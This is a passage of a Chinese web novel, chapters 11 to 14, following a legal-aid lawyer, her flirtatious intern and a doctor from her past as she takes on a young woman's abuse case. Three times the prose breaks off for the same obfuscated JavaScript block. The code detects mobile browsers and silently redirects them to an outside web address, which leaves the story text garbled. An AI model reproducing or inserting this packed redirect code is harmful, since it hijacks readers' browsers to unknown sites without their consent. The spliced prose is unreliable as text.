梦里是化不开的黑,她只穿着一件单薄的外套,在幽深的丛林里寻找着什么。 没有大喊大叫,也没有四处奔走,好像她已经平静地接受了那个人的离开,只是不知道自己要走向何处而已。 所以她只能继续找下去。 像契诃夫的悲剧一样,在这个反复的梦里,有安静的开始,过程中所有人都筋疲力尽,到了结尾处幻灭、苦涩,但却还不死心。 周而复始。 安雅曾经以为她已经走出去了很远,但等到再一次回到最初的那棵树下时,就证明她已经迷路了。 或许,在她的森里里,只有那一棵树。 那么,迷路就迷路,反正她也不想走出去。 就在这样熟悉的梦里,一整夜循环往复,直到窗帘的缝隙里透过一丝天光,她才醒了过来。 睡眠不足的感觉和喝了假酒差不多,整个早晨安雅都头痛欲裂。再加上小娇的案子几乎没有什么进展,让她的心情更是雪上加霜。 坐在办公桌前发了一会儿呆之后,安雅又开始在包里摸索烟盒。 “找什么呢?”只听声音就知道是刘宁宁。 在接受了自己一无所获的结果后,安雅也只能半躺在座椅上发呆:“小娇的案子,我没想到什么好办法。” “那就正常做呗,结果能是什么样就让它是什么样。”刘宁宁能看出安雅的挫败,但她似乎并不在意,“其实昨天说完我也后悔了,要是没有我告诉你吴欢他爸妈的事,也许你就不会这么为难。” “就算你不说,我也迟早都要查到这一层。”安雅轻轻摇头,“刘姐,这个案子我们是非做不可吗?要是我搞砸了,会不会给中心也带来麻烦啊?” “怎么还给你担心起这个来了,你尽管做,出了事不还有我呢!”说话间刘宁宁在外套口袋里摸出了一个打火机,在安雅眼前晃了晃:“要不我们去院子里聊会儿?” 粉色的打火机搭配着刘宁宁嫩白的指尖,没有不同意的道理。 安雅跟着她,两人一前一后就站在法援中心庭院旁的花园边,开始有一搭没一搭地说起了话。 “我们做的是法律援助,这话我刚认识你的时候好像说过。”刘宁宁先点着了手里的烟,“你想想看,像小娇这样的当事人,是走了多远的路才能来到这里?” “经济状况审查,还有申请范围事项证明?”安雅殷红的指尖轻点,烟灰瞬间被吹散在风中。 “听起来是不是很简单?”刘宁宁笑着,“但这一系列的手续走下来,快则一周,慢的话,多久都有可能。如果是恶性侵害或者像你上次接的那个案子一样,仅仅是法援资格审核的时间,对当事人来说就已经太久了。” “可是他们没得选,要么忍气吞声,要么,就只能一天一天地数着日子过。”刘宁宁望着手上已经燃尽的烟头,像是在思考般的,停顿了一下,“我们的案子不多,是因为很多当事人根本撑不到来这里的那一天。农民工讨薪,幼女性侵害,还有被家暴.......以前我总觉得那都是电视上演的,我也当律师,怎么没见过多少这种案子呢?” 她忽然转头看向安雅:“你知道为什么吗?” “因为这种案子等不起,拖上几天农民工就会因为家里急用钱,而被迫和包工头签折价赔偿协议,幼女可能会因为短时间内多次性侵害死亡,家暴失手打死老婆的事每天都有。”扔掉手里的烟头,刘宁宁清了清嗓子,“这些当事人等不起,所以我们看不到。” “但如果他们真的能走到我们面前,就没有退缩的道理” “是我的问题......”安雅轻叹一声,正想要解释。但刘宁宁冲她笑着摇了摇头,又点起了一根烟。 “不说这 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15464727|169808||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 个了,你才刚刚换了一个赛道,不理解是应该的。怎么样?第一周,还适应吗?”刘宁宁深吸一口,笑着望向安雅,“对了,今天怎么没看见XC90来送你上班?跟男朋友吵架了?” “什么90?”安雅眼神迷离,刘宁宁也不知道她在看什么,只觉得她今天安静了许多。 “就是经常停在前面花园边上的那辆黑色沃尔沃。”刘宁宁蹭了蹭安雅的胳膊,“今天没来?” “没来。”安雅头也不抬,“也不是男朋友。” “啧,这就奇怪了。”刘宁宁还想接着这个话题说下去,“你知道吗?刚接到你简历的时候,我和见了鬼一样。你这样的资历,怎么会想来这种小地方?” 安雅扶着额头又点了一根:“那刘主任现在想明白了吗?” “最开始我怀疑,你是不是因为在香港那边闯了祸,还是家里突然有什么急事......”说着她自己也把自己逗笑了,“后面我查了一圈,你猜怎么着?什么都没有。” “安律师你.....也会做出因为爱情而回老家这种事?”刘宁宁满脸的不可置信,“那可是香港,是金都,我虽然没去过,但要换成我站在中环的楼上,一定不会在乎这小破地方有没有个男人在等。” 盯着指尖逐渐燃烧殆尽的烟头,安雅被刘宁宁逗得苦笑了几声:“刘姐,我真的没有男人。” “而且我回来,也不是因为男人。”手中的烟熄灭了最后一点火光,安雅心满意足,“事实上,在看到中心的招聘之前,我也没想过要回来。” “你说的没错,香港这个地方很特别。有些人一家几口挤在不到三十平米的贫民区,有些人开几千万的限量版跑车挥金如土。但很奇妙的是,你又能看到跑车就停在贫民区对面的路边。只隔了一条街,但一边的人就永远无法跨过去。很残酷,但与此同时,我也觉得自由。” “顺带更正一下,我是因为竞争合伙人失败才回来的。”在带着轻松的语气说完这句话后,安雅久违地感受到了平静。可能是因为已经在程枫面前解释过一次,再提起来时,便显得释然了许多,“他们说有野心的女人缺乏吸引力,也许吧。但你知道最没有吸引力的是什么吗? “是等着被发现,等着被爱。我不要那样,所以我离开了。”她狡黠地眨眨眼,“审完我了,要不要一起讨论下小娇的案子?” “好好好,等我抽完这一口。”刘宁宁无奈,“不过你说这话,我还真信。你啊,脑子里一天天的全是案子,看来是的确装不下其它什么了。” 刘宁宁的高跟鞋声消失在走廊转角后,安雅轻轻抚平套裙的褶皱,重新在办公桌前坐了下来。阳光透过窗子斜斜切进来,在她膝头投下一道金色的分界线。 “咚咚咚!“门锁相碰的脆响从虚掩着的门外传来。 “刘姐?”安雅抬头,“直接进来就好,不用敲门的。” 初夏晌午刺眼的光线瞬间从门缝倾泻而进,晃动的光影里浮着一簇亚麻色的发梢,有点毛绒绒的。 办公室的门被人从外面缓缓推开,带着夏日清新的阳光气息,那人走了几步,站在安雅面前,她便正对上曹熙那张精致的脸。 在她的注视下,曹熙长而浓密的睫毛微微颤动,笑得明媚:“对不起,我来晚了。”他将手中的牛皮纸袋放在桌角,轻轻推向安雅手边。 一时紧张,曹熙毛衣袖口滑落半寸,露出手腕内侧淡青的血管,“以后,可以带着我吗?姐姐。” 12. 第十二章 安雅坐在那里,姿势端正,眼神扫过曹熙递来的信封。 曹熙又抬起那双算得上无辜的眼睛凝视着她。 在他的注视下,安雅将封口缓缓打开。 “南华老师......她这些年还好吗?”安雅一页一页地翻阅那纸袋里的资料,“按说你跟着她,主修商法,怎么会想着要来这小地方的法援中心实习?” “她一切都好,前阵子还再婚了。”曹熙的指尖轻叩在办公桌上,睫毛在眼下投出一片阴影。“听说对方是个比南老师小6岁的人,经营着本市最大的一家影视公司,同学们都很羡慕呢。” 他说话时,总带着些软软的气声。安雅坐了太久,突然觉得被椅背硌得不舒服,正想调整一下坐姿,这才惊觉曹熙的已经不知道在什么时候撑在了她一侧的扶手上。他故意靠近,轻声在安雅耳边:“至于实习,我呀......是奔着姐姐你来的。” 曹熙的眼中透着狡黠,安雅身子僵硬,却还强壮镇定。 “咳咳!安律师?”刚进门就撞见这一幕,直接把刘宁宁的好奇心拉满,“这位是......”她抱着一叠资料,凑上前想看清楚曹熙的脸。 等谜底揭晓后,又略感失望:“哎呀,是小曹啊。” “刘姐好。”曹熙乖乖站好,向刘宁宁点点头打了个招呼,“遇上高速堵车来晚了,我正向安律师赔罪呢。” 刘宁宁大手一挥,示意曹熙坐在她身边,这样一来,他们三人就好都围在办公桌前看资料。“安律师,这是曹熙。接下来的几个月,就由你带着他一起做案子。”刘宁宁喝了口水,继续说下去,“小曹是政法大学那边南华教授极力推荐的得意门生,你们也算是纯血同门,肯定能有很多共同话题。而且他成绩好,脑子聪明,人也长得好看。” “所以我看到简历后第一时间,就想到把他分派给你当助手。”安雅看刘宁宁又开始边说话边挤眉弄眼,就知道这事没有表面上那么简单。 最后,刘主任总结陈词:“事情就这么定了!安律师,你以后好好带他。年轻人,前途无量的。” 安雅点点头,又看向曹熙。他正微微仰起头,托腮向着窗外。注意到安雅的目光后,眼睛便开始时不时望向她,嘴角勾起好看的弧度。 “谢谢刘主任,这几个月我一定好好和安律师学习。”他先冲着刘宁宁展示了一个能露出小白牙的微笑,而后又装作若无其事地转向安雅,“以后,还要多麻烦安律师了。” “不麻烦。没想到我刚来,中心就派了一个这么厉害的帮手给我。那就,先从这个案子开始吧?”安雅已经开始翻动手下的资料,脸上依旧保持着那副波澜不惊。 但刘宁宁还是从中看出了一丝难以抑制的慌乱。 三人说话间,突然安雅的手机响起。她把手从案卷中抽出一只,瞄了眼手表上的信息。 “小娇醒了。”安雅言简意赅,“医院说人已经脱离了危险,后续还需要治疗和静养,短时间内不能出院。” 刘宁宁也放下手里的材料:“那就是说......” “可以去医院见当事人了。”安雅拿起外套,收拾了几页资料就准备出门。刚走到门口,就被一道修长的身影堵住了去路。 “我也一起去。”曹熙摇了摇手中的车钥匙,门外的停车场便立刻传来几声鸣笛,“路上安律师还可以继续看案卷。” 没想到这一茬,安雅一时茫然站在门口。 刘宁宁对着安雅:“带上小曹呗,两个人有个照应,而且他后面还要跟你一起做案子,早接触早了解。” 好像也对,安雅点点头:“走吧!” “遵命。“曹熙立刻后退两步,等安雅走出门后礼貌跟上。 - 一路上两人无话,安雅安静地坐在后排继续翻阅着手上的资料。 车里很安静,只有无处不在的柑橘香直往安雅的脑子里猛钻。那是曹熙身上的味道,混合着松针般翠绿清透的新鲜,能让人想到雨后草地上的薄荷。 心静了不少,安雅自然能更专注。却没注意到每次等红绿灯时,曹熙飘过来的眼神中漾出的笑意。 两人一前一后走在住院部的长廊里。区医院落地窗外的梧桐树沙沙摇晃,将正午的阳光筛成跳跃的光斑,星星点点地铺在他们走过的路上。 安雅低头思索着案情,突然停下脚步。 “当事人的情况你也了解了一些,她现在无论是身体还是心里都非常脆弱。“安雅鬼使神差地转向着曹熙,满脸严肃,“今天,主要由我来问问题。” 那光斑停在曹熙微微沁出汗珠的锁骨上,被毛衣蹭红的耳尖藏在逆光的绒毛里,他立刻乖巧点头:“明白的,我绝对不乱讲话。” 消毒水的气味在走廊氤氲弥漫,站在305病房外,安雅深吸了一口气,轻轻扣响了房门。 “请进。”里面的人声音纤弱,传来一声有气无力的回应。 安雅站在病床前,终于第一次见到了她的当事人。小娇脸色苍白,细瘦的胳膊抱着胸前的被子,手上的腕骨突兀地暴露在空气中,像一朵被抽干了水分的花。 “你好小娇,我是安雅,区法律援助中心的律师,这位是我的助手曹熙。”心痛之余,安雅看出了小娇面对陌生人脸上闪过的恐惧,她连忙开口介绍自己,“你父母把你的案子委托给了我,今天我们是来向你了解案情的。” 小娇抿着惨白的嘴唇,目光在曹熙身上转了一圈,才用微弱的声音怯生生地问安雅:“你们......要告他吗?” “你是这个案子的当事人,并且在两个月前已经成年。告与不告,我们都会尊重你的意见。”安雅感受到了一丝不妙,但还是耐心向小娇解释,“如果你要告的话,我就是你的代理律师。有什么想法或者疑惑都可以找我。同样的,我针对案件提出的问题和相关证据,你也要保证真实。” 小娇听完思考了一阵,又将脸别过去,最后近乎艰难地点了点头,“好,我告。” 听到这里,安雅从包里拿出纸和文件,准备和小娇好好聊一聊。 “坐,姐姐。”不知什么时候,曹熙已经从窗边把椅子搬了过来。护着安雅坐好后,他又俯身在她耳边,“看起来当事人对异性可能有点恐惧,我先去门外坐着,有事就叫我。” 说完,曹熙冲着小娇笑笑,轻手轻脚地走了出去。 - 斜倚在病房外的长椅上,曹熙百无聊赖地看着手里的案卷。阳光穿透他挽起的袖口,在冷白的腕骨上烙下一圈金边。 小地方大都是经常碰见的熟面孔,但当曹熙明晃晃地坐在走廊上,清浅的发色衬着他价值不菲 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15464728|169808||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 的毛衣,长腿懒懒地伸出座位外,无论怎么看,都像和其他人根本不在一个图层里。惹得不远处的小护士们私下讨论了大半天,最后终于派出了一个胆大的姐妹过去。 “这位先生,马上就是医生的查房时间了。我们是妇产科,为保护患者隐私,你要不要先去休息区等?”作为小护士们的代表,在对上曹熙亮晶晶的眼眸时,口罩下的脸也忍不住一阵潮红。 “啪!”地一声,曹熙合上案卷,仰头露出乖巧的微笑:“再给我们一会儿时间好不好?等医生来了,我们立刻就走。” “不会给你们的工作添麻烦的。”站起来后,曹熙挺拔的身姿更多了些压迫感,小护士很快便抵不住他的温柔攻势,落荒而逃。 没过多久,曹熙便看见不远处走过来一行人。白大褂错落着在光下亮得晃眼,他定睛看着,领头的那个人长得还算高,身材欣长,裁剪合身的西裤下红底皮鞋有节律地敲打在医院的地板上。 只可惜被口罩遮着看不到脸,不然他一定会觉得,这医生也算得上是个有品位的人。 待医生们走近,曹熙才看见领头的那个戴着副和他整体气质极配的金丝眼镜,正低头和旁边的人交代着什么。在他身旁,不乏有几位医生拿着笔边听边记录。 那位医生的声音断断续续地传到曹熙耳朵里,清楚干净,没有废话,也不拖泥带水。 眼看着医生们越来越近,小护士们也终于坐不住了。 “先生......”那位护士又来催赶,还没等她把话说完,曹熙就礼貌地站了起来,轻敲了几下305的房门。 “什么事?”是安雅。 曹熙从门缝缓缓伸进去了自己的小脑袋:“医生要来查房了。”看安雅已经起身,他又回过头向着小护士赔着笑脸,“我们马上就去休息区等,麻烦你了。” 在被曹熙微笑时露出的虎牙硬控了几秒后,小护士还没想好怎么回答,就晕头转向地撞在了程枫身上。 “程......程主任。”小护士慌忙解释,“这两位是患者的委托律师,他们马上离开。” 程枫不置可否地抬眼看向了守在门口的曹熙,还没等两人开口,安雅便从病房里走出。 “买了咖啡给你。”看安雅出来,曹熙立马来了兴致,“我们先去休息区坐一会儿,听说那边有好吃的巧克力曲奇。” 两个男人同时堵在病房门前,安雅一时无措,只木然接过曹熙递过来的咖啡,眼睛却不自觉地望向程枫。 程枫戴着口罩,看不出表情,也没有让开的意思。 安雅张了张口,但注意到程枫身后乌泱泱的一波同事,还是把话咽了下去。 “走吧,姐姐。”曹熙想带着安雅从程枫身边绕开,却被领着一堆人的程枫堵住了去路。 跟在程枫后面的医生都面面相觑,不知道自己该进病房,还是继续就跟着主任干站着。 安雅无奈开口:“好,那我们就不打扰程医生的正常工作了。” 她对着曹熙:“我正好有点饿,走吧,去尝尝你说的饼干。” 错身而过的瞬间,曹熙好像幻听一般,感觉到有人跟安雅说了什么。 但安雅却听的清清楚楚,程枫说:“你是咖啡因敏感体质。” “饿了的话,晚点来我办公室,有吃的。” 13. 第十三章 医院的咖啡店弥漫着糖浆与消毒水的混杂气味,安雅盯着面前白瓷杯中的咖啡,轻声开口:“还没来得及问,你为什么来这里?” “法援中心?”曹熙歪着头笑,发梢被阳光镀成蜂蜜色,“那你呢?姐姐,为什么从香港回来?” “你虽然是本科生,但却能拿到南华老师的推荐,未来最不缺的就是大律所的offer。”安雅喝了一口面前的咖啡,微微皱眉,“而且你主做商事,用不了多久就能赚的盆满钵满。来这种地方实习.......我直说,对你,没什么用。” 曹熙指尖在杯沿画圈:“没用?” 他忽然倾身向前,袖口蹭过安雅手背,带起一阵清冽的柑橘香,“姐姐,你才刚认识我,就已经认定我是个见钱眼开的俗人了?这让我,好伤心啊。” “也对,你年纪轻轻就开上百万的车。这一身从上到下,都能抵得上法援中心一位律师整年的工资了,自然是没那么在乎钱的。” “那......你能告诉我,是为什么吗?”安雅坐直了身子凑近他面前,眉眼带笑,说出来的话却猛地将气氛拉到冰点,“我要听真话。不然,无论你是用了什么办法进来,我都能让你滚蛋。” “香港旺角警署的那桩强/奸案,庭审时,你把辩方律师逼到哑口无言,那场庭审录像,我看了七遍。”曹熙压低嗓音,“海关查获金条那场,我看了5遍。” “但你猜,这三年间,我最喜欢的是你的哪一场辩护?”他突然冲着安雅笑,眼里有闪亮的星星。 曹熙突然投来的目光灼热,安雅指节收紧,握紧杯柄。 “半个月前,你回到安城的那一次。”他压低嗓音,“我最喜欢那场。” “因为那天,我终于见到你了。” 曹熙又恢复了那种轻松的语气:“后来我想,能做出那种辩护词的人,一定连灵魂都会发光。所以,你回来了,我就来找你了。” 说话间,曹熙从咖啡厅柜台上又端来一盘曲奇。放在桌上时,腕骨凸起的弧度几乎要贴上安雅锁骨,毛衣袖口蹭过安雅皮肤时泛起细密的痒,让她也逐渐放下了防备。 “我很高兴你能问我这些。”曹熙拿起一片饼干,伸手至安雅唇边,“这说明,姐姐你关心我,想更了解我。” 见曹熙没有将手收回去的意思,安雅清了清嗓子:“以后正式场合,不许叫姐姐。” 曹熙挑眉,“好,安律师。”他退后些许,将手中的饼干放进自己嘴里,笑意却未减,“我很开心,这几个月能成为你的助手。但.......搭档之间需要信任,我向你保证,你可以完全相信我。而我,也想知道一些关于你的事。” 他忽然倾身逼近,橙花香混着少年特有的炽热气息扑面而来:“比如,有没有可能姐姐你......认识刚才那位医生?” 安雅还在思考着该怎么回答曹熙的问题。她大可以直接实话实说,高中同学,很多年没联系过了。 但过去的种种突然出现在脑海,她和程枫之间,又怎么能一句话说的清楚。 思来想去,安雅还是沉默了。 而咖啡厅的玻璃门外,程枫的白大褂被扑面而来的穿堂风掀起了一角,扑棱棱地,在空中打了几个旋儿,最后不上不下地停在了半空。 他本来是要去病理室取报告的,却不知道怎么拿了结果,又七拐八拐地走到了这里。 不远处,曹熙的手正将曲奇递到安雅唇边,骨节分明的指尖离她垂落的发丝只有分毫距离。 没有来由的不适从程枫心底猛然升腾。喉结滚动,他还是调转了方向,转身走向住院部,空荡的回廊只留下皮鞋扣地的急促敲击声。 - “程主任,这是305床的会诊申请单……”护士话音未落,程枫已抓起钢笔潦草签字:“患者的凝血功能很差,我怀疑是有血液方面的基础病,你给血液科李主任打电话,让他尽快过来看看。” 程枫头也不抬地继续吩咐着:“还有,在李主任来之前清场,通知病房内所有探视人员立刻离开。” “可李主任刚做完手术……”护士嗫喏着,“我不敢再催他了,他的脾气,程主任你是知道的.......” “就说是我让你叫的。”程枫抬眼,镜片后的目光已经冷到冰点。 一旁的护士终于哆哆嗦嗦地拿起电话,程枫收好病例靠在护士台边,目光却被坐在病房外的曹熙吸引了过去。 曹熙怀里抱着一件米色的风衣。程枫一眼就认了出来,那是刚才见面时,安雅穿在身上的那件。 注意到程枫的目光后,曹熙对着护士台的方向明媚一笑,另一只手在那件衣服上轻轻拍了拍,像极了某种挑衅。 程枫静静地看着,拇指无意识蹭过笔帽,连指腹嵌了进去都丝毫不知。 “先生,患者需要会诊,请您和.......里面那位律师先回避一下。”负责赶人的还是那位圆脸小护士,“可以等会诊结束后再来探望病患。” “你说姐姐?”曹熙依旧乖巧,可这落在刚走过来的程枫眼里,就都只剩下了甜腻。 “患者需要静养。“程枫后退半步,衣摆扫过曹熙故意伸长的腿,“你可以先去护士站坐一会儿。” “那可不行,这位.......程主任。”曹熙笑着凑近他,终于看清了程枫的姓名,“姐姐让我在外面等。要是我丢下她一个人跑了,她会伤心的。” 曹熙说这话时的表情纯良无害,但却逼的程枫倒吸了一口冷气。 护士见状只好敲了敲病房门,安雅随即走出。 “既然小娇这边身体情况还不稳定,那过几天我们再来。”迎着程枫灼热的目光,安雅从曹熙手里接过了外套。 “这么巧,又遇到程医生了。”她尽量淡淡的,“当事人已经授权了我调查任何有关她的医疗信息,这里是授权书。”安雅从文件中抽出一张,“调查令应该也会很快出来。” 面对以程枫为首的几位医护人员,她笑的友善:“之后我们还会再来,无论是取证还是会面,都麻烦各位多关照。” 程枫点点头,眼中流露出些许惊异。 那是他第一次意识到,那个在黑暗中光着身子哀求他的小女孩,长大了。 “我们走吧。”曹熙立刻上前接过安雅手中的资料,两人就要离开。 突然,安雅感觉到自己的手腕覆上了一抹熟悉的冰凉。她转身的瞬间,程枫又惊觉不妥,讪讪地放开了手。 “安.......安律师,如果需要查病例的话.......”程枫站在两人对面,热切的目光里含着欲言又止,“我现在就可以带你去。” 程枫手上的温度还残留在安雅腕间,走廊里的消毒水味突然变得刺鼻,十五岁的那个夏日雨夜再一次出现在安雅面前。 只不过,当时要做出选择的人,是程枫。 但是他却逃跑了。 “安律师已经有了当事人的授权,查阅病例是迟早的事。”曹熙突然插进两人之间,肩膀不经意扫过程枫的白大褂,“快到下班时间了,我们今天就先不麻烦程主任........” “好啊,既然程医生愿意帮忙,那就再好不过了。”安雅思考片刻便打断了曹熙,跟着程枫走向了大楼另一侧,“你带着资料去停车场等我。” 望着两人离去的 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15464729|169808||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 背影,曹熙眼底的失落一闪而过。 “是有什么话必须现在当面说吗?”两人走出几步来到了程枫办公室门口,还没等进门,安雅便直接发问。 程枫依旧不做声。“吱呀”一声办公室的门被推开,程枫衣角挟着冷风卷入。安雅站在他身后,再抬头时,一盒蝴蝶酥赫然停在她眼前。 “边吃边说。”程枫摘口罩的动作在夕阳中被逐渐拉长,和多年以前,安雅在病床上一睁眼就看到的那张脸逐渐重合。 “程医生这么大费周章,又是查房,又是会诊,就为了给我送吃的?”安雅自然地接过,包装盒外还透着丝丝缕缕的温度,应该是刚做出来后不久。 “要是法援中心的饭实在吃不惯,以后早晨我做好了给你带一份。”安雅这种夹枪带棒的问法,程枫也不去接。 “这话,我好像以前在哪听过。”她一口咬下去,黄油的香味在口中蔓延。 只要在程枫面前,安雅就像被打开了某个机关。虽然这十几年他们都没有联系,但她却一刻都没有忘记过这个人。经过了这几天,又再度熟悉之后,一旦再次面对他,安雅立刻就会想要更多。 自从程枫那天在车上问过她之后,这股劲儿就憋在她心里,不知道想要的是什么,也不知道该怎么纾解。 她这几天躲着不见程枫,除了怕小娇的案子波及到他,也隐隐觉得自己需要时间才能想清楚。 可这个人,偏偏要往刀尖上撞。 她努力压制着憋在胸腔的那口气,故意慢吞吞地:“也对,过去了这么多年,程医生肯定都不记得了。” “我记得。”程枫靠在办公桌前,手指无意识摩挲着办公桌边缘的划痕,“以前的事,是我不好。”他忽然开口,声音沙哑。 安雅的心里闪过一阵快意,这种感觉很奇妙。以前的事,两人各有难处,更何况都是十几岁的孩子,又能有多少能力?她只是说服不了自己,毕竟当时,她把程枫当做唯一的希望。 “安雅,你不知道,在机场再遇见你的那一刻,我有多开心。”程枫站在她面前,“对我来说,能再见到你就像做梦一样。” “我只是希望你不要......”他不知道该怎么说下去。 “不要什么?”安雅咽下最后一块蝴蝶酥,口中回味甜得让她一阵恍惚。 “上次的事,我想帮你,也愿意去做。你需要什么,都可以告诉我……”程枫急迫的语速中带着诚恳,“只希望,我们还可以像以前那样……” “以前是什么样?”安雅继续保持着缓慢的语速,“你说的对,当时我才十五岁,哪懂什么是喜欢。”她语气轻得像在说别人的事,“这半个月以来,我好像慢慢想明白了,程枫,不是所有事都需要记得这么清楚。” 看着他逐渐苍白的脸色,安雅心中又闪过一丝不忍。 “就像我,早就忘了。”她抽了张纸巾,别过脸去,慢条斯理地擦手,“而且,我们现在这样很好。” “可我一直在想,如果可以的话.......”程枫还想再说点什么。自从再次见到安雅之后,他发现自己的情绪已经逐渐变得不受自己控制。 “没有如果。”安雅打断他,几天前程枫泛红的眼眸又出现在安雅眼前。时过境迁,只仅仅几天,小娇这个案子,她就已经捋清了思路。只有拒绝程枫的参与,才能保护他未来的生活不受侵扰。 而她自己,也能在程枫面前,去克服那种仿佛藏在骨子里的惯性依赖。 “你说的话,我都记在心里。”转身的瞬间,安雅默默地闭上眼睛,忍住了眼底泛起的酸涩,“我要你也把我说的话记住,这个案子,你不要插手。” 14. 第十四章 安雅再次从医院走出时,已经到了下班的时间点。不大的停车场正堵着几辆将要驶出的车,一时间夏日午后的燥热升腾起来,她又想起病房里小娇苍白如纸的脸,一阵烦躁涌上心头。 “你在哪?”安雅拿起手机也不寒暄。 不远处曹熙开着车正逐渐靠近:“姐姐!” 灰扑扑的北方小城里,那辆亮白色的梅赛德斯格外显眼,再加上曹熙从窗子上映出的矜贵发色,安雅想忽视也难。 “小娇这个案子我想主要集中精力在民事赔偿上。”上车后,安雅就直接开始说起了工作,“今天和当事人交流之后,我想家属之前提到的刑事罪名基本上是确定不可能了。”” 曹熙缓慢升起车窗,车内瞬间安静:“当事人有提供什么新的信息吗?” “我很想说有,但很遗憾,这个案子比我想象的还要麻烦。” 曹熙也很快适应了安雅的工作方式,开门见山:“是因为被告父母的身份?” “不错啊,效率很高。你中午才过来,几个小时,就已经什么都知道了。”连安雅都没意识到,自己是笑着说完这句话的。这没什么好掩饰的,她喜欢聪明人。 “有什么想法吗?” “如果被告有一个在本市卫生局做局长,并且同时是政协委员的妈妈,还有一个在邻市中院当院长的爸爸,那么请问,谁最有可能是这个案子里最惨的人?” “我们,两个正准备告他们的原告代理律师。”曹熙笑的很适时。 “层层审批,兜兜转转,案子才刚到我们这里,对方都已经至少准备了两周了。监控录像被覆盖、当事人被恐吓威胁,如果不是已经把区医院的病例副本拿到手了,我都怀疑后面我们到底还能不能见到这东西?”收拾着手头已有的资料,她忍不住轻叹,“但仅凭这些,也没什么太大用处。” 车子平稳地滑行在安城傍晚的公路上,从市中心到郊区,身边车流逐渐减少,曹熙的车速也提了起来。 “可怜的小娇,我都不敢想,她到底都经历过什么。你有没有注意到她看异性时的眼神?” “嗯,她好像很怕我。” “不只是你,她应该是害怕所有异性。”安雅正低头翻找刚刚小娇在病房里拿给她的私人物品,据小娇讲,那都是她和吴欢恋爱时自己留下的,他们相处过的证据,“而且我和她说话的时候,她还一直警惕地望向窗外,我问她怎么了,结果她告诉我是吴欢在外面监视她.......” 曹熙少见的严肃:“你是在怀疑她的精神状态?” “我也不知道.......但是不可能啊,我什么都没看到。而且现在被告肯定正在被家里严加看管,就是有想要威胁恐吓她的意图,家里有这么两个人看着,也不一定会有机会,你说呢?” “还是要有直接证据。”曹熙没头没尾地接了一句,“不管是谁做错了事,都要付出代价。” “要是证据能突然从这一堆东西里跳出来就好了。”虽然不报什么希望,但安雅也尽职尽责地查验袋子里的每一样东西,心里想着或许能碰到有用的东西。 曹熙笑着问:“从天而降吗?像英雄救美那样?” “守株待兔也行。”安雅继续翻找着,“先不说小娇和被告发生关系时两人都未成年,前几次堕胎也因为都因为正规医疗机构需要实名制,最后当事人才不得已选择了完全没有医疗记录的黑作坊。就只凭被告目前还未满18岁这一点,民事责任基本全部需要他父母承担,我们辩护的压力就不会小。” “这么看来,是不是没有英雄能救我们了........”安雅哀号。 等待红灯的间隙,曹熙的指尖在方向盘上轻轻叩响:“也是,人到了中年,最在乎的就是那点脸面。只是要钱还好,但要拿人家唯一的儿子开刀,换做是谁,都不能束手就擒。”他斜睨着后视镜:“听说当事人本来不愿意起诉?” “连这你都知道。”安雅俯身靠近曹熙的椅背,“你到底是什么来头?” “这让我越来越好奇了,曹熙。”安雅翻动案卷的手停了下来。 “姐姐,你刚才.......”曹熙突然歪了题,一时走神,“这是你第一次叫我名字。” 紧接着猛地刹车。 安雅被突然的减速向前推去,直接整个人趴在曹熙身后的椅背上。 她温热的呼吸从曹熙身后传来,从耳朵到脖颈,逐渐蔓延到全身。他哑着嗓子轻声问:“姐姐,你能.......再我叫一次吗?” “曹熙!麻烦你认真开车好不好!”安雅扶额,看着散落一地的纸张和一些叫不上名字的小玩意儿,安雅拿起了离自己眼前最近的一张。 安雅的气息漉漉地攀在他后颈,车内的柑橘气息突然变得粘稠,混着她发间若有若无的香气,让曹熙甚至忘了要说什么。 “这个是.......酒店赠送的会员礼?连这也要收藏的吗?”安雅惊呼。 “谈恋爱应该都是这样吧,收集和喜欢的人有关的一切。一起坐过的摩天轮、看过的电影票根.......或者自以为能证明对方真心的一切。” 安雅继续低头翻找着:“听起来,你不相信真心可以证明?” “证明?”曹熙嗤笑一声,白色奔驰再一次急刹在红灯前。 斑马线上有中学生牵手跑过,女孩的校服裙摆飞扬,甚至都顾不上看路。 曹熙轻声:“用身体当筹码的爱情,这和赌徒押上全部身家只求赢一回有什么区别?” “如果是谈恋爱的话,要的就不只是赢一次了。”安雅喃喃的,“会想要更多.......” 十字路口的红灯开始倒计时,曹熙突然猛打方向盘,说话的瞬间,车子一个急转弯,直接拐进了附近的小巷。 “又怎么了?”安雅抓着安全带,还没说完的话被她咽了回去。 “坐稳了,姐姐。”轮胎擦过围墙火星四溅,曹熙冷着笑:“今天,我带你去抓兔子。” 巷尾野猫惊叫着窜过垃圾桶,一辆黑色的路虎从他们的车前扬长而去。 